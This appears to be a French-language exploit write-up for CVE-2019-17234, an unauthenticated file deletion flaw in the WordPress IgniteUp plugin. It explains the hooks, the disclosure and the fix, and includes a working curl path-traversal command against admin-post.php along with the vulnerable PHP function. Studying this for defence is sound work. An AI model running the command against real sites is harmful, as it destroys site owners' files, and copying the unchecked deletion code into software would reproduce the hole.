administra1tor/cve-2019-17234b-exploitLe plugin Wordpress IgniteUp version < 3.4.1 permet aux utilisateurs non authentifiés de supprimer arbitrairement des fichiers sur le serveur web, pouvant causer un déni de service (DoS).
Le plugin WordPress IgniteUp v3.4 et versions antérieures permet à des utilisateurs non authentifiés distants de potentiellement supprimer arbitrairement tout fichier sur le serveur web cible, pouvant causer une attaque par déni de service.
La vulnérabilité a été signalée à l'équipe wordpress.org le 20 septembre 2019 et une nouvelle version du plugin 3.4.1 a été publiée le 08 novembre 2019.[3]
IgniteUp est un plugin WordPress populaire pour effectuer la configuration et la gestion triviales des pages d'atterrissage du site Web afin d'informer les utilisateurs que le site arrive bientôt, est en maintenance ou en construction.
Le plugin est livré avec 5 modèles par défaut gratuits : believe,cleaner,glass,launcher,offline.
Les noms de modèles sont mis en évidence car un paramètre correct [nom-du-modèle] est requis pour effectuer une requête valide au serveur web afin d'exploiter la vulnérabilité.
[AVERTISSEMENT]
L'exemple de commande suivant pourrait suffire à casser votre site WordPress, en supprimant dans ce cas les fichiers principaux du plugin IgniteUp.
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[NOTE] La commande ci-dessus effectue un parcours de répertoire dans le chemin relatif du plugin. Avec les permissions appropriées (755 pour les répertoires du serveur web et 644 pour les fichiers) et le propriétaire correct (utilisateur www-data, apache etc...), la surface d'attaque est limitée jusqu'au répertoire racine du serveur (par exemple /var/www/html).
La fonction responsable qui introduit cette vulnérabilité est mise en évidence ci-dessous. Le fichier de référence se trouve à wp-content/plugins/igniteup/includes/class-coming-soon-creator.php, fichier qui, comme son nom l'indique, gère la création de nouveaux modèles personnalisés et la suppression des modèles par défaut/créés.
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
admin_init sur la toute première ligne est un crochet d'action WordPress. Les crochets[2] constituent la base de l'interaction des plugins et thèmes avec le noyau WordPress, mais ils sont également largement utilisés par le noyau lui-même.
Malheureusement, la fonction associée au crochet d'action, deleteTemplate(), n'a pas de vérifications d'administrateur/utilisateur, ce qui donne au lecteur suffisamment d'indices sur la façon d'effectuer cette action. En regardant le code, il est trivial de repérer le paramètre POST PHP delete_template ; cela, combiné à l'action du crochet admin_init, constitue une connaissance suffisante pour tenter d'effectuer une requête POST au serveur web via l'interface /wp-admin/admin-post.php comme indiqué dans le paragraphe sur le code d'exploitation.
[NOTE PERSONNELLE] En analysant le comportement habituel du plugin du point de vue d'un administrateur WordPress, il est assez étrange de trouver cette fonction (je suppose qu'il s'agit d'un résidu de versions antérieures), car :
Voici un exemple de ce qui se passe lors du unlink quand j'essaie de DirStroy un modèle.
test admin-ajax.php comparaison v3.4.1
[1] v3.4.1 changelog- https://it.wordpress.org/plugins/igniteup/#developers
[2] Wordpress hooks- https://developer.wordpress.org/plugins/hooks/
[3] CVE-2019-17234 NIST reference- https://nvd.nist.gov/vuln/detail/CVE-2019-17234